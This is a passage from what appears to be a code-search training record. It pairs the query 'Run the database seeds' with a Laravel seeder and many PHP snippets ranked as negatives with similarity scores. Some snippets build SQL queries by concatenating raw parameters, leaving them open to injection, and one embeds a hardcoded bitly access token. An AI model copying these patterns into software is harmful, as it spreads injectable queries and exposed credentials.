"public function getCode() {return $this->code;}",
"public function getCode()\n {\n return $this->__get(\"code\");\n }",
"public function getCodeById($exerid){\n\t\t$sql = \"select * from exercode where exerid=\".$exerid;\n\t\t$query = $this->db->query($sql);\n\n\t\treturn $query->result()[0];\n\t}",
"public function getcode()\n {\n return $this->code;\n }",
"public function getCode()\n {\n return $this->data[1];\n }",
"public function getLeiCode(): ?string;",
"function get($id = NULL) {\n if ($id == NULL) {\n $this->output->show404();\n } else {\n $code = $this->code_m->get($id);\n if (!empty($code)) {\n $code['code'] = htmlentities($code['code'], ENT_COMPAT, \"UTF-8\");\n //$code['code']= nl2br($code['code']);\n $code['url'] = site_url('/code/get/') . $id;\n $this->data['code'] = $code;\n $this->viewfile = 'viewcode.tpl';\n } else {\n show_404();\n }\n }\n }",
"public function getCode(): ?string;",
"protected function getUrlFromDb($code) \n\t{\n $query = \"SELECT id, long_url FROM \" . self::$table . \" WHERE short_url = :short_url LIMIT 1\";\n $stmt = $this->pdo->prepare($query);\n $params=array(\n \"short_url\" => $code\n );\n $stmt->execute($params);\n \n $result = $stmt->fetch();\n return (empty($result)) ? false : $result;\n }",
"function generateCode($code='') {\n\t\t\n\t\tif(empty($code)) {\n\t\t\t$code = $this->randomString();\n\t\t}\n\t\t\n\t\twhile(true) {\t\n\t\t\t\n\t\t\t$shortUrl = $this->findByCode($code);\n\t\t\tif(empty($shortUrl)) break;\n\t\t\t$code = $this->randomString();\n\t\t}\n\t\t\n\t\treturn $code;\n\t}",
"public function get_code() {\n\t\treturn $this->code;\n\t}",
"function get_coupon_code($c_id)\n {\n $query = \"select * from coupons_coupons where coupon_id='$c_id'\";\n $resultset = mysql_query($query);\n return $resultset;\n }",
"function balise_SEO_URL($p){\n\t$p->code = \"calculer_balise_SEO_URL()\";\n\treturn $p;\n}",
"function getCode()\n {\n return $this->code;\n }",
"public function getCode() {\n\t\t$code = [];\n\t\tforeach($this->code as $_ => $val) {\n\t\t\t$code[] = \"API.{$val[0]}(\".json_encode($val[1], JSON_UNESCAPED_UNICODE).\")\";\n\t\t}\n\n\t\treturn 'return ['.implode(',', $code).'];';\n\t}",
"public function getUrl(): string;",
"public function getUrl(): string;",
"public function getUrl(): string;",
"function getCode()\r\n {\r\n return $this->code;\r\n }",
"public function getCustomUrl() : string;",
"function getHashCode($id) {\n\t\treturn \"x\" . base_convert($id, 10, 36);\n\t}",
"public function getCode()\n {\n return $this->values[\"code\"];\n }",
"public function get_url();",
"public function getURL( $url_ID ){ return $this->APICall( array( 'url_ID' => $url_ID ), \"Could not lookup the URL for url ID \" . $url_ID ); }",
"#[Pure]\n public function getUrl() {}",
"public function getCode(): string\n {\n return $this->code;\n }",
"public function getCode(): string\n {\n return $this->code;\n }",
"public function getCode(): string\n {\n return $this->code;\n }",
"public function getShortCodeFromId(string $id): string\n {\n $shortCode = base_convert($id, 10, 36);\n $this->insertShortCodeInDb($id, $shortCode);\n return $shortCode;\n }",
"function dvdinsideContentUrl($id)\n{\n global $dvdinsideServer;\n \n $id = preg_replace('/^DI/', '', $id);\n return $dvdinsideServer.'/db/details.php?id='.$id;\n}",
"private function _constructUrl($type, $id){\n $key = Mage::getStoreConfig('yeah_sync_section/yeah_sync_group/secret_key');\n $url = self::YEAH_HOST.$key.'/'.$type.'/get_id/'.$id;\n return $url;\n }",
"function getID();",
"function url_to_postid($url)\n {\n }",
"function TrackingCode()\r\n\t{\r\n\t\tglobal $_SETTINGS;\r\n\t\t$code = lookupDbValue('settings', 'value', 'Tracking Code', 'name');\r\n\t\techo\"$code\";\r\n\t}",
"public function getCode()\n {\n return $this->getValueObject('code');\n }",
"public function getCode() {\n return $this->request->query->get(\"code\") != NULL ? $this->request->query->get(\"code\") : \"\";\n }",
"public function getCode() {\n return $this->code;\n }",
"public function getCode() {\n return $this->code;\n }",
"public function getZoho()\n {\n $ret = \"97916613\";\n \treturn $ret;\n }",
"private static function getUrl($type,$id=\"\")\n\t{\n\t\t$link = self::base_url;\n\t\tswitch ($type) {\n\t\t\tcase 1:\n\t\t\t\t$link = $link.\"collections\";\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t$link = $link.\"bills\";\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\t$link = $link.\"collections/\".$id;\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\t$link = $link.\"bills/\".$id;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t# code...\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $link;\n\t}",
"public function getCode()\r\n {\r\n return $this->code;\r\n }",
"public function getCarCode(){\r\n\t\t\t$this->car_code = getValue(\"SELECT car_code FROM tbl_car WHERE car_id=\".$this->car_id);\r\n\t\t\treturn $this->car_code;\r\n\t}",
"public function getCode() { return $this->code; }",
"public function getCode($Iban);",
"public function getPostcode();",
"function jmayt_id_from_url($url) {\n if (preg_match('%(?:youtube(?:-nocookie)?\\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\\.be/)([^\"&?/ ]{11})%i', $url, $match)) {\n $id = $match[1];\n return $id;\n }\n return false;\n}",
"public function getURL ();",
"function bitly($url)\n{\n\t\n\t$data = file_get_contents(\"https://api-ssl.bitly.com/v3/shorten?access_token=1f3a41571a3b47f6a3444f893400d18f121ea7ec&longUrl=\".urlencode($url).\"&format=txt\");\n\t\n\t\n return trim($data);\n}",
"function cjpopups_generate_url($option_id = null, $url_string = null, $params = array()){\n\tif(is_null($option_id)){\n\t\t$display[] = __('Opiton ID not defined, please check code.', 'cjpopups');\n\t}else{\n\n\t\tif(is_null($url_string)){\n\t\t\t$display[] = get_permalink( cjpopups_get_option($option_id) );\n\t\t}else{\n\t\t\tif(!empty($params)){\n\t\t\t\t$url_string = '';\n\t\t\t\t$count = 0;\n\t\t\t\tforeach ($params as $key => $value) {\n\t\t\t\t\t$count++;\n\t\t\t\t\tif($count == 1){\n\t\t\t\t\t\t$url_string .= $key.'='.$value;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$url_string .= '&'.$key.'='.$value;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t\t$display[] = cjpopups_string(get_permalink( cjpopups_get_option($option_id) )).$url_string;\n\t\t}\n\t}\n\treturn implode(\"\\n\", $display);\n}",
"public function getCode()\n {\n return $this->get(self::CODE);\n }",
"function getShortUrl($url = null){\n\n\t$data = json_encode(array('longUrl' => $url));\n\n\t$user_agent = 'SUKI NINA/1.0 (http://deluxeluxury.com/)';\n\n\t$ch = curl_init();\n\tcurl_setopt($ch,CURLOPT_USERAGENT, $user_agent);\n\tcurl_setopt($ch, CURLOPT_URL, \"https://www.googleapis.com/urlshortener/v1/url?key=APIKEY\");\n\tcurl_setopt($ch,CURLOPT_HTTPHEADER, array('Content-type: application/json'));\n\tcurl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);\n\tcurl_setopt($ch,CURLOPT_POST, TRUE);\n\tcurl_setopt($ch,CURLOPT_POSTFIELDS, $data);\n curl_setopt($ch,CURLOPT_RETURNTRANSFER, true); //need this to suppress output to browser\n\n\t$result = curl_exec($ch);\n\tcurl_close($ch);\n\t\n\treturn json_decode($result)->id;\n\n}",
"function postCode($string) {\n\n\n\t\t}",
"function get(string $id);",
"public function getPostcodeAnywhereId();"
] | [
"0.6119016",
"0.597141",
"0.59382576",
"0.5893684",
"0.5873648",
"0.5873648",
"0.5873648",
"0.5873648",
"0.5873648",
"0.5873648",
"0.5867111",
"0.5856575",
"0.5856575",
"0.5856575",
"0.5808421",
"0.5777327",
"0.5776497",
"0.5766788",
"0.5754998",
"0.5700131",
"0.56680524",
"0.5637471",
"0.5637208",
"0.56303614",
"0.5601633",
"0.55961674",
"0.55744463",
"0.55501497",
"0.55486",
"0.5541321",
"0.5513548",
"0.55105025",
"0.55100006",
"0.5497586",
"0.54970443",
"0.5476049",
"0.5469988",
"0.5438694",
"0.5438598",
"0.5431602",
"0.54259545",
"0.54071903",
"0.53878623",
"0.53871363",
"0.5359141",
"0.53449214",
"0.53445435",
"0.534162",
"0.53295106",
"0.5316723",
"0.5300185",
"0.52986073",
"0.529366",
"0.5281181",
"0.528105",
"0.5273779",
"0.5267083",
"0.52626985",
"0.52371645",
"0.52365667",
"0.52128655",
"0.52108395",
"0.52108395",
"0.52108395",
"0.51907384",
"0.51904005",
"0.5184048",
"0.517694",
"0.51574934",
"0.51533675",
"0.5145931",
"0.5142085",
"0.5142085",
"0.5142085",
"0.5141639",
"0.51397216",
"0.5137341",
"0.5129868",
"0.5127602",
"0.51233643",
"0.5120021",
"0.5116668",
"0.51153517",
"0.51153517",
"0.51099235",
"0.5108181",
"0.5107847",
"0.5102397",
"0.51007247",
"0.5100011",
"0.5097875",
"0.5097609",
"0.5093335",
"0.50914377",
"0.50861424",
"0.5085602",
"0.5079936",
"0.5072646",
"0.50634575",
"0.5063126"
] | 0.72654206 | 0 |
Run the database seeds. | public function run()
{
DB::table('films')->insert([
"id" => 0,
"title" => "Dummy",
"original_title" => NULL,
"description" => NULL,
"year" => NULL,
"country" => NULL,
"genre" => NULL,
"director" => NULL,
"fsk" => NULL,
"amazon_asin" => NULL,
"amazon_link" => NULL,
"amazon_image" => NULL,
"imdb_last_update" => "0000-00-00 00:00:00",
"imdb_id" => "",
"imdb_rating" => NULL,
"imdb_votes" => NULL,
"imdb_runtime" => NULL,
"imdb_image" => NULL,
"trailer" => NULL,
"dvdkritik" => NULL,
"tvseries" => 0,
"created_at" => NULL,
"updated_at" => NULL,
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }",
"public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }",
"public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }",
"public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }",
"public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }",
"public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }",
"public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }",
"public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }",
"public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }",
"public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }",
"public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }",
"public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }",
"public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }",
"public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }",
"public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }",
